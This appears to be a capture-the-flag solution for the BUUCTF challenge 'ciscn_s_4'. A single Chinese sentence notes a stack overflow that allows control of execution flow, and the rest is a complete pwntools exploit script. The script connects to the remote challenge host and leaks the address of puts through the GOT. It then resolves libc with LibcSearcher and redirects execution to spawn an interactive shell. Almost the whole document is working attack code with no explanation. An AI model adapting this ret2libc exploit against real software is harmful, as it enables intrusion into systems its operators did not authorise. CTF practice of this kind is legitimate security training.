可以看到有栈溢出的漏洞能过控制执行流
exp:
#!/usr/bin/python2
from pwn import *
from LibcSearcher import *
local=0
if local==1:
p=process('./ciscn_s_4')
elf=ELF('./ciscn_s_4')
#libc=elf.libc
else:
p=remote('node3.buuoj.cn',26963)
elf=ELF('./ciscn_s_4')
#libc=elf.libc
lg=lambda address,data:log.success('%s: '+hex(data))
def exp():
main=0x080485FF
put=0x804861D
payload='a'*0x20+p32(elf.got['puts'])+'bbbb'*2+p32(main)
p.recvuntil('name?')
p.send(payload)
p.recvuntil('Hello, ')
p.recvuntil('\n')
p.send(payload)
payload='a'*0x28+'cccc'+p32(put)
p.recvuntil('name?')
p.send(payload)
p.recvuntil('Hello, ')
p.recvuntil('\n')
p.send(payload)
p.recvuntil('\x0a')
puts=u32(p.recvuntil('\xf7')[-4:])
libc=LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
lg('libcbase',libcbase)
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
one_gadget=libcbase+0x3d0d5
payload='a'*0x20+p32(bin_sh)+'bbbb'*2+p32(main)
sleep(1)
p.send(payload)
p.recvuntil('Hello, ')
p.recvuntil('\n')
p.send(payload)
p.recvuntil('name?')
payload='a'*0x28+p32(0)+p32(0x08048559)
p.send(payload)
p.recvuntil('Hello, ')
p.recvuntil('\n')
p.send(payload)
p.interactive()
if __name__=="__main__":
exp()